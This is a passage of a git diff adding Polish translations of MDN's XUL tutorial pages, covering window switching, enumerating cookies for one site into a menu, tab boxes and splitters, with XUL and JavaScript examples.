+<p>Interfejs <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWindowDataSource.html">nsIWindowDataSource</a> ma funkcję <code>getWindowForResource</code>, która może być użyta do pobrania zasobu danego okna. We wcześniejszym przykładzie wygenerowaliśmy listę okien i dodaliśmy ją do menu przez szablon. Szablon generuje atrybut <code>id</code> każdego elementu z pozycji <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>. Wartość tego atrybutu może być użyta jako zasób. Oznacza to,że aby przełączyć się do aktywnego okna musimy wykonać następujące czynności:</p>
+
+<ol>
+ <li>Określić element, jaki kliknie użytkownik.</li>
+ <li>Uzyskać wartość atrybutu <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> z tego elementu.</li>
+ <li>Przekazać tą wartość do <code>getWindowForResource()</code> uzyskanego obiektu okna.</li>
+ <li>Przełączyć się na aktywność tego okna.</li>
+</ol>
+
+<p>Przykład poniżej pokazuje jak możemy to zrobić:</p>
+
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="windowlist-menubar"&gt;
+ &lt;menu label="Window" oncommand="switchFocus(event.target);"&gt;
+ &lt;menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot"&gt;
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;/rule&gt;
+ &lt;/template&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+
+&lt;script&gt;
+function switchFocus(elem)
+{
+ var mediator = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+ mediator.QueryInterface(Components.interfaces.nsIWindowDataSource);
+
+ var resource = elem.getAttribute('id');
+ switchwindow = mediator.getWindowForResource(resource);
+
+ if (switchwindow){
+ switchwindow.focus();
+ }
+}
+&lt;/script&gt;
+</pre>
+
+<p>Do elementu menu zostało dodane polecenie obsługi programu, które wywołuje funkcję switchFocus() z parametrem elementu, jaki został wybrany z menu. Funkcja <code>switchFocus()</code>:</p>
+
+<ul>
+ <li>Najpierw pobiera referencję do komponentu implementującego interfejs window mediator.</li>
+ <li>Następnie pobieramy atrybut <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> dla elementu. Możemy użyć tej wartości atrybutu <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> jako zasobu.</li>
+ <li>Funkcja <code>getWindowForResource()</code> pobiera zasób i zwraca okno dopasowane do niego.</li>
+ <li>Okno to, przechowywane w zmiennej <code>switchwindow</code> jest takie samo jak obiekt okna, JavaScript.</li>
+ <li>Oznacza to,że możesz wywołać dowolną z funkcji dostarczoną przez nie, z których jedną jest funkcja <code><span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus()</a></code></span></code>.</li>
+</ul>
+
+<h2 id="Ciasteczka" name="Ciasteczka">Ciasteczka</h2>
+
+<p>Następnie pobierzemy listę ciasteczek, zapisanych w przeglądarce. Usługa cookies może być użyta do tego celu. Implementuje interfejs <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsICookieManager.html">nsICookieManager</a></code>, który może być używany do wyliczania wszystkich ciasteczek. Tutaj mamy przykład, który zapełnia listę menu nazwami wszystkich ciasteczek zebranych z MozillaZine.</p>
+
+<pre>&lt;script&gt;
+
+function getCookies()
+{
+ var menu = document.getElementById("cookieMenu");
+ menu.removeAllItems();
+
+ var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
+ .getService(Components.interfaces.nsICookieManager);
+
+ var iter = cookieManager.enumerator;
+ while (iter.hasMoreElements()){
+ var cookie = iter.getNext();
+ if (cookie instanceof Components.interfaces.nsICookie){
+ if (cookie.host == "www.mozillazine.org")
+ menu.appendItem(cookie.name,cookie.value);
+ }
+ }
+}
+&lt;/script&gt;
+
+&lt;hbox&gt;
+ &lt;menulist id="cookieMenu" onpopupshowing="getCookies();"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>Funkcja getCookies() będzie wywoływana, gdy tylko otwarto menu jak wskazuje atrybut <code><code id="a-onpopupshowing"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onpopupshowing">onpopupshowing</a></code></code> w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>. Pierwsze dwie linie getCookies() pobierają menulist (listę menu) i usuwają wszystkie istniejące pozycje w menu. Jest to wykonywane, ponieważ getCookies() jest wywoływana za każdym razem, kiedy otwarto menu a nie chcemy pozostawić tam starych pozycji za każdym razem.</p>
+
+<p>Następnie jest wyszukiwany menadżer ciasteczek. Menadżer cookie ma metodę, <code>enumerator</code>, która zwraca obiekt implementujący <code><a href="pl/NsISimpleEnumerator">nsISimpleEnumerator</a></code>. Może być to używane do przechodzenia przez wszystkie cookies. Numerator ma metodę <code>hasMoreElements()</code> zwracającą prawdę dopóki nie pobierzemy ostatniego cookie. Metoda getNext() pobiera cookie i przesuwa indeks numeratora na następne cookie. Ponieważ numerator właściwie zwraca obiekt ogólny, musimy go <code>QueryInterface()</code> do <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsICookie.html">nsICookie</a></code> zanim możemy go zastosujemy. W tym przypadku użyjemy operatora <code>instanceof</code> aby to osiągnąć.</p>
+
+<p>W końcu, dla ciastek, dodajemy pozycję w menu. Do tego używamy właściwości ciastek – nazwy hosta i wartości. Menu mają funkcję <code><span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem()</a></code></span></code>, której możemy używać do dodawania pozycji w menu, daną etykietkę i wartość.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p>Więcej przykładów jest dostępnych:</p>
+
+<ul>
+ <li><a href="pl/Fragmenty_kodu">Fragmenty kodu</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Category:XPCOM_example_code" rel="freelink">http://kb.mozillazine.org/Category:XPCOM_example_code</a></li>
+</ul>
+
+<p>Następnie, zobaczymy <a href="pl/Kurs_XUL/Drzewa">jak utworzyć drzewa</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Interfejsy_XPCOM" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Drzewa">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/pudełko_kart/index.html b/files/pl/mozilla/tech/xul/kurs_xul/pudełko_kart/index.html
new file mode 100644
index 0000000000..5ca8a50616
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/pudełko_kart/index.html
@@ -0,0 +1,179 @@
+---
+title: Pudełko kart
+slug: Mozilla/Tech/XUL/Kurs_XUL/Pudełko_kart
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Tabboxes
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_stosu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Siatki">Następny »</a></p>
+</div><p></p>
+
+<p>W oknie właściwości często występują strony z kartami. W tym artykule dowiemy się, jak je zrobić.</p>
+
+<h2 id="Pude.C5.82ko_kart" name="Pude.C5.82ko_kart">Pudełko kart</h2>
+
+<p>Pudełka kart zazwyczaj stosujemy w aplikacjach i w oknach właściwości. Seria kart dostępna jest u góry okna i umieszczona wzdłuż niego. Użytkownik może kliknąć każdą z tych kart i zobaczyć ustawienia różnych opcji. Jest to bardzo użyteczne rozwiązanie w przypadku, gdy mamy więcej opcji niż miejsca w jednym oknie.</p>
+
+<p>XUL dostarcza metod do utworzenia takiego okna dialogowego. Można przy tym użyć pięć nowych elementów, z których każdy jest omówiony pokrótce poniżej:</p>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></dt>
+ <dd>Pudełko zewnętrzne, które zawiera karty przez całą swoją górę i osobne strony kart.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></dt>
+ <dd>Pudełko wewnętrzne, które stanowi pojedynczą kartę. Innymi słowami, jest to wiersz kart.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></dt>
+ <dd>Określona karta. Kliknij w kartę, aby pojawiła się ona jako pierwsza strona.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></dt>
+ <dd>Kontener dla strony.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></dt>
+ <dd>Ciało pierwszej strony. Za pomocą tego elementu możemy umieścić zawartość dla strony karty. Pierwszy tabpanel zostanie przypisany do pierwszej karty, drugi do drugiej i tak dalej z pozostałymi przypisaniami.</dd>
+</dl>
+
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code> jest zewnętrznym elementem. Składa się z dwóch potomków, elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>, który określa wiersz kart oraz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></code>, który składa się ze stron karty.</p>
+
+<p>Poniżej pokazana została ogólna składnia pudełka kart:</p>
+
+<pre>&lt;tabbox id="tablist"&gt;
+ &lt;tabs&gt;
+ &lt;!-- elementy tab będą tu --&gt;
+ &lt;/tabs&gt;
+ &lt;tabpanels&gt;
+ &lt;!-- elementy tabpanel będą tu --&gt;
+ &lt;/tabpanels&gt;
+&lt;/tabbox&gt;
+</pre>
+
+<p>Elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code> są umieszczone wewnątrz elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code>, które są bardziej jak regularne pudełka. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> sam został umieszczony w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>. Element <code>tabbox</code> także składa się z elementu <code>tabpanels</code>, który będzie dostępny poniżej karty stosowanej do orientacji poziomej wokół pudełka kart.</p>
+
+<p><span class="comment">element which will appear below the tabs due to the vertical orientation on the whole tabbox. [hmm troche to dziwne, musze spr. to (ptaszor)]</span></p>
+
+<p>Naprawdę to tu nic specjalnego nie ma o elementach karty, które by tworzyły inne elementy poza pudełkami kart. Tak jak pudełka, karty także składają się z jakiś elementów. Różnica jest taka, że karty renderują nieco inaczej swoją treść i tylko jeden panel treści karty/kart jest widoczny w danym momencie, coś jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code>.</p>
+
+<p>Treść pojedynczej strony karty powinna być wewnątrz każdego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></code>. Nie powinna zostać umieszczona w elemencie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code>, gdyż znajdowałby się tam, gdzie treść karty jest wyświetlana wzdłuż góry.</p>
+
+<p>Każdy element <code>tabpanels</code> staje się stroną wyświetloną na pudełku karty. Pierwszy panel powiązany jest z pierwszą kartą, drugi z drugą kartą i tak dalej. Jest to związek jeden-na-jeden pomiędzy elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code></code> i elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanel" title="tabpanel">tabpanel</a></code></code>.</p>
+
+<p>Kiedy decydujemy o rozmiarze <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code>, to zastosowany zostanie największy możliwy rozmiar. Znaczy to tyle, że, jeśli będzie dziesięć pól tekstowych na jednej karcie i tylko jedno na kolejnej, strona będzie dopasowana rozmiarem do jednej z dziesięciu na niej występujących. Obszar wzięty przez obszar nowej karty nie zmieni się, kiedy użytkownik stworzy nową stronę karty.</p>
+
+<p>Spójrz na poniższy przykład:</p>
+
+<h3 id="Przyk.C5.82ad_tabbox" name="Przyk.C5.82ad_tabbox">Przykład <code>tabbox</code></h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_tabpanel_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_tabpanel_1.xul">Podgląd</a></p>
+
+<div class="float-right"><img alt="grafika:tabpanel1.png"></div>
+
+<pre>&lt;tabbox&gt;
+ &lt;tabs&gt;
+ &lt;tab label="Poczta"/&gt;
+ &lt;tab label="Nowości"/&gt;
+ &lt;/tabs&gt;
+ &lt;tabpanels&gt;
+ &lt;tabpanel id="mailtab"&gt;
+ &lt;checkbox label="Automatycznie sprawdź pocztę"/&gt;
+ &lt;/tabpanel&gt;
+ &lt;tabpanel id="newstab"&gt;
+ &lt;button label="Wyczyść bufor nowości"/&gt;
+ &lt;/tabpanel&gt;
+ &lt;/tabpanels&gt;
+&lt;/tabbox&gt;
+</pre>
+
+<p><br>
+ Tutaj zostały dodane dwie karty, pierwsza z etykietą &lt;tt&gt;Poczta&lt;/tt&gt; oraz druga z etykietą &lt;tt&gt;Nowości&lt;/tt&gt;. Kiedy użytkownik kliknie kartę 'Poczta', to zostanie wyświetlona zawartość pierwszej karty. W tym przypadku strona będzie dostępna z etykietą pola wyboru &lt;tt&gt;Automatycznie sprawdź pocztę&lt;/tt&gt;. Kiedy klikniemy w drugą kartę, strona będzie zawierała przycisk z etykietą &lt;tt&gt;Wyczyść bufor nowości&lt;/tt&gt;.</p>
+
+<p>Obecnie zaznaczony element <code>tab</code> posiada dodatkowy atrybut <code>selected</code>, który jest ustawiony na wartość <code>true</code>. Ta przeróbka wyglądu aktualnie zaznaczonej karty tworzy ją jakby była zaznaczona. W jednym momencie tylko jedna karta może posiadać wartość <code>true</code> tego atrybutu.</p>
+
+<h3 id="Rozmieszczenie_kart" name="Rozmieszczenie_kart">Rozmieszczenie kart</h3>
+
+<p>Kończąc, możemy zmienić pozycję kart, więc będzie dostępne na jakiejkolwiek stronie karty. Nie ma jakiejś specjalnej składni do zrobienia tego. Możemy w prosty sposób ustawić atrybuty <code>orient</code> oraz <code>dir</code> jako atrybuty wymagane. Pamiętaj, że elementy kart są bardzo regularnymi polami w obszarze graficznym strony. Oprócz tego element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code></code> jest bardzo podobny do regularnych kontenerów pola z domyślną pionową orientacją, gdzie element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> jest bardzo podobny do kontenerów pola z domyślną orientacją w poziomie.</p>
+
+<p>Na przykład, umieść karty wzdłuż lewej strony, zmień orientację elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></code> na pionową, aby utworzyć karty dostępne na poziomym stosie. Następnie uporządkuj <code>tabbox</code>, więc niech posiada orientację poziomą. Utworzona zostanie karta dostępna z lewej strony karty (nie powyżej). Zwróć uwagę, że ta zmiana orientacji elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tabpanels" title="tabpanels">tabpanels</a></code></code> nie będzie miała żadnego efektu do momentu, aż strony kart są ułożone jedna na drugiej.</p>
+
+<p>Możemy wstawić karty po prawej lub u dołu strony poprzez przeniesienie elementu <code>tabs</code> za element <code>tabpanels</code> w twoim kodzie. Po kolei możemy ustawiać atrybut <code>dir</code> na atrybut <code>reverse</code> w <code>tabbox</code>. Jednakże powinieneś prawdopodobnie zostawić kartę na górze, w innym przypadku może nie wyglądać za dobrze w określonym motywie.</p>
+
+<div class="highlight">
+<h2 id="Dodawanie_karty_do_okna_Znajd.C5.BA_pliki" name="Dodawanie_karty_do_okna_Znajd.C5.BA_pliki">Dodawanie karty do okna &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h2>
+
+<p>Dodajmy drugą kartę do okna dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt;. Utworzymy kartę &lt;tt&gt;Opcje&lt;/tt&gt; (oraz zaznaczymy ją jako domyślną do wyświetlenia), która będzie składać się z kilku opcji służących do szukania. Może to nie jest najlepszy interfejs, aby to wykonać, ale użyjemy go, aby zademonstrować karty. Etykieta na górze karty i pudełko kryteriów szukania będzie nam potrzebne do zrobienia pierwszej karty. Dodajmy także kilka opcji do kolejnej karty. Pasek postępu i przyciski zostały w oknie głównym, na zewnątrz kart.</p>
+
+<pre class="eval">&lt;vbox flex="1"&gt;
+
+<span class="highlightred">&lt;tabbox selectedIndex="1"&gt;
+ &lt;tabs&gt;
+ &lt;tab label="Szukaj"/&gt;
+ &lt;tab label="Opcje"/&gt;
+ &lt;/tabs&gt;
+
+ &lt;tabpanels&gt;
+ &lt;tabpanel id="searchpanel" orient="vertical"&gt;</span>
+
+ &lt;description&gt;
+ Wpisz poniżej swoje kryteria szukania i naciśnij przycisk Znajdź,
+ aby rozpocząć szukanie.
+ &lt;/description&gt;
+
+ &lt;spacer style="height: 10px"/&gt;
+
+ &lt;groupbox orient="horizontal"&gt;
+ <span class="nowiki">&lt;caption label="Kryteria szukania"/&gt;</span>
+
+ &lt;menulist id="searchtype"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Nazwa"/&gt;
+ &lt;menuitem label="Rozmiar"/&gt;
+ &lt;menuitem label="Data modyfikacji"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer style="width: 10px;"/&gt;
+ &lt;menulist id="searchmode"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Jest"/&gt;
+ &lt;menuitem label="Nie jest"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+
+ &lt;spacer style="height: 10px"/&gt;
+ &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+
+ &lt;/groupbox&gt;
+ <span class="highlightred">&lt;/tabpanel&gt;
+
+ &lt;tabpanel id="optionspanel" orient="vertical"&gt;
+ &lt;checkbox id="casecheck" label="Wyszukuj szczegółowo"/&gt;
+ &lt;checkbox id="wordscheck" label="Dopasuj całą nazwę"/&gt;
+ &lt;/tabpanel&gt;
+
+ &lt;/tabpanels&gt;
+&lt;/tabbox&gt;</span>
+</pre>
+
+<div class="float-right"><img alt="grafika:tabpanel2.png"></div>
+
+<p>Elementy karty są umieszczone wokół głównej treści okna. Możemy zobaczyć dwie karty &lt;tt&gt;Szukaj&lt;/tt&gt; oraz &lt;tt&gt;Opcje&lt;/tt&gt;. Kliknięcie na którejś wywoła pokazanie się jednej ze stron wspomnianych kart. Pierwsza karta wygląda lepiej niż wyglądała wcześniej, poza kartami wzdłuż góry.</p>
+
+<h3 id="Przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad:_Znajd.C5.BA_pliki">Przykład: &lt;tt&gt;Znajdź pliki&lt;/tt&gt;</h3>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-tabpanel.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-tabpanel.xul">Podgląd</a></p>
+</div>
+
+<p>Następnie, zobaczymy jak się <a href="pl/Kurs_XUL/Siatki">tworzy zawartość siatki</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_stosu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Siatki">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/rozdzielacze/index.html b/files/pl/mozilla/tech/xul/kurs_xul/rozdzielacze/index.html
new file mode 100644
index 0000000000..14f9c6f763
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/rozdzielacze/index.html
@@ -0,0 +1,95 @@
+---
+title: Rozdzielacze
+slug: Mozilla/Tech/XUL/Kurs_XUL/Rozdzielacze
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Splitters
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Panele_treści" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_przewijania">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule dowiemy się, jak dodać rozdzielacze do okna.
+</p>
+<h3 id="Rozdzielanie_pude.C5.82ka" name="Rozdzielanie_pude.C5.82ka"> Rozdzielanie pudełka </h3>
+<p>Może wystąpić sytuacja, że będziemy chcieli wyświetlić okno podzielone na dwie sekcje, w którym użytkownik będzie mógł zmienić rozmiar. Przykładem jest okno przeglądarki Mozilli, gdzie możemy zmienić rozmiar paska strony, poprzez przeciągnięcie lub zawinięcie wspomnianego paska, który rozdziela dwie ramki. Możemy także ukryć pasek strony klikając go w miejscu "wcięcia". </p><p>Rozdzielacz tworzymy poprzez użycie elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code></code>. Ten element tworzy wąski pasek pomiędzy sekcjami, który pozwala na zmianę rozmiarów tych sekcji. Możemy umieścić rozdzielacz gdziekolwiek tylko będzie nam on pasował, a będzie on nam pozwalał nadal na zmianę rozmiaru elementów, które będą <b>przed</b> oraz <b>za</b> w tym samym pudełku.
+</p><p>Kiedy umieścimy rozdzielacz wewnątrz poziomego pudełka, rozdzielacz będzie pozwalał na zmianę rozmiaru w poziomie. Natomiast, kiedy rozdzielacz będzie umieszczony w pionowym pudełku, to będzie pozwalał na zmianę rozmiaru w pionie.
+</p><p>Składnia rozdzielacza jest następująca: </p>
+<pre>&lt;splitter
+ id="identifier"
+ state="open"
+ collapse="before"
+ resizebefore="closest"
+ resizeafter="closest"&gt;
+</pre>
+<p>Atrybuty są następujące: </p>
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>
+</dt><dd> Unikalny identyfikator rozdzielacza.
+</dd></dl>
+<dl><dt> <code id="a-state"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/state">state</a></code>
+</dt><dd> Sygnalizuje stan rozdzielacza. Domyślnie ustawiony jest na <code>open</code>, panel jest wtedy widoczny od początku. Może też przyjąć wartość <code>collapsed</code>, panel będzie wtedy schowany, a druga część pola będzie zajmować całą powierzchnię.
+</dd></dl>
+<dl><dt> <code id="a-collapse"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapse">collapse</a></code>
+</dt><dd> Sygnalizuje, która strona panelu powinna się zwinąć, kiedy rozdzielacz (grippy) zostanie kliknięty lub jego stan jest ustawiony na stan 'collapsed'. Ustaw <code>before</code> dla elementów przed rozdzielaczem lub <code>after</code> dla elementów po rozdzielaczu. Jeśli ustawisz <code>none</code>, które jest także domyślnie ustawiane, grippy rozdzielacza nie zwinie się, gdy je naciśniemy.
+</dd></dl>
+<dl><dt> <code id="a-resizebefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizebefore">resizebefore</a></code>
+</dt><dd> Kiedy przesuwamy rozdzielaczem, to zmieniają swój rozmiar elementy po lewej lub powyżej. Ten atrybut sygnalizuje, który element powinien zmienić swój rozmiar. Ustaw go na <code>closest</code>, aby element zmienił swój rozmiar natychmiast do lewej strony przed rozdzielaczem. Ustaw go na <code>farthest</code>, aby posiadać element, który jest najdalej położony od rozdzielacza po lewej stronie (jest to pierwszy element w pudełku). Domyślną wartością jest <code>closest</code>.
+</dd></dl>
+<dl><dt> <code id="a-resizeafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizeafter">resizeafter</a></code>
+</dt><dd> Kiedy przesuwamy rozdzielaczem, to zmieniają swój rozmiar elementy po prawej lub poniżej. Ten atrybut sygnalizuje, który element powinien zmienić swój rozmiar. Ustaw go na <code>closest</code>, aby element zmienił swój rozmiar natychmiast do prawej strony za rozdzielaczem. Ustaw go na <code>farthest</code>, aby posiadać element, który jest najdalej położony od rozdzielacza po prawej stronie (jest to ostatni element w pudełku). Ten atrybut także może być ustawiony na <code>grow</code>, w którym elementy po prawej stronie rozdzielacza nie zmieniają rozmiaru, kiedy jest przesuwany, lecz zamiast tego zmieni się rozmiar całego pudełka. Domyślną wartością jest <code>closest</code>.
+</dd></dl>
+<p>Jeśli ustawimy atrybut <code><code id="a-collapse"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapse">collapse</a></code></code>, to powinniśmy także dodać element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code></code> do wewnątrz <code>splitter</code>, dzięki któremu będzie możliwe zastosowanie zawijania elementu.
+</p><p>Przykład będzie w tym momencie niezwykle pomocny:
+</p>
+<h4 id="Przyk.C5.82ad_splitter" name="Przyk.C5.82ad_splitter"> Przykład <code>splitter</code> </h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul">Podgląd</a>
+</p>
+<pre>&lt;vbox flex="1"&gt;
+ &lt;iframe id="content-1" width="60" height="20" src="w1.html"/&gt;
+ &lt;splitter collapse="before" resizeafter="farthest"&gt;
+ &lt;grippy/&gt;
+ &lt;/splitter&gt;
+ &lt;iframe id="content-2" width="60" height="20" src="w2.html"/&gt;
+ &lt;iframe id="content-3" width="60" height="20" src="w3.html"/&gt;
+ &lt;iframe id="content-4" width="60" height="20" src="w4.html"/&gt;
+&lt;/vbox&gt;
+</pre>
+<div class="float-right"><img alt="grafika:splitter-ex1.jpg"></div>
+<p>W przykładzie stworzyliśmy cztery ramki i rozdzielacz, który został umieszczony pomiędzy pierwszą oraz druga ramką. Atrybut <code><code id="a-collapse"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapse">collapse</a></code></code> został ustawiony na wartość <code>before</code>, co oznacza, że jeśli ustawimy grippy rozdzielaczowi i klikniemy go, to pierwsza ramka nie będzie wyświetlona i rozdzielacz zostanie przeniesiony na lewo. Grippy rozdzielacza jest rysowany na środku wewnątrz rozdzielacza.
+</p><p>Rozdzielacz posiada atrybut <code><code id="a-resizeafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizeafter">resizeafter</a></code></code> o wartości <code>farthest</code>. To znaczy, że kiedy rozdzielacz jest przesuwany, najdalszy element poza rozdzielaczem będzie miał zmieniony rozmiar. W tym przypadku ramka 4 będzie miała zmieniony rozmiar. </p><p>Wartości nie określono dla <code><code id="a-resizebefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/resizebefore">resizebefore</a></code></code>, więc przyjmie on wartość domyślną <code>closest</code>. W tym przypadku jest tylko jedna ramka przed rozdzielaczem, więc ramka 1 będzie miała zmieniony rozmiar. </p><p>Ramka 2 i 3 będą tylko zmieniały rozmiar, jeśli przesuniesz rozdzielacz tak daleko w prawo, że ramka 4 nie będzie się już mogła zmniejszyć.
+</p><p>Poniżej są cztery panele wraz z rozdzielaczem w stanie, gdy jest on zawinięty:
+</p><p><img alt="grafika:splitter-ex2.jpg">
+</p><p>Na obrazku poniżej widać 4 panele i rozdzielacz przesunięty w prawo. Dwa środkowe panele 2 i 3 nie zmieniły rozmiaru natomiast 1 i 4 zmieniły. Na obrazku widać już tylko część czwartego, gdy przesuniemy rozdzielacz jeszcze dalej w prawo, środkowe panele też zaczną się zmniejszać.
+</p><p><img alt="grafika:splitter-ex3.jpg">
+</p><p>Możemy stosować własności stylów takie jak <code>min-width</code>, <code>max-height</code> w ramkach do określenia minimalnej lub maksymalnej szerokości lub wysokości w pudełku. Stosując to, rozdzielacz wykryje rozmiary i nie pozwoli użytkownikowi na przesunięcie rozdzielacza poza minimalne lub maksymalne rozmiary pudełka.
+</p><p>Przykładowo, jeśli określimy minimalną szerokość panelu 4 na 30 pikseli, nie zmniejszy się on poniżej tej wartości, ale zrobi to reszta paneli. Dwa pozostałe panele będą się zmniejszyć. Jeśli ustawisz minimalną szerokość panelu 1 na 50 px, będzie można przesunąć rozdzielacz tylko o 10 px w lewo (szerokość początkowa wynosi 60 pikseli). Mimo to można będzie je zawinąć. </p><p>Możesz umieścić więcej niż jeden rozdzielacz w pudełku, jeśli tylko będziesz chciał, to można zawijać różne jego części. Podobnie do zawijania nie trzeba stosować do ramek, gdyż każdy element może być zawinięty.
+</p>
+<h3 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki"> Nasz przykład: <code>Znajdź pliki</code> </h3>
+<div class="highlight">
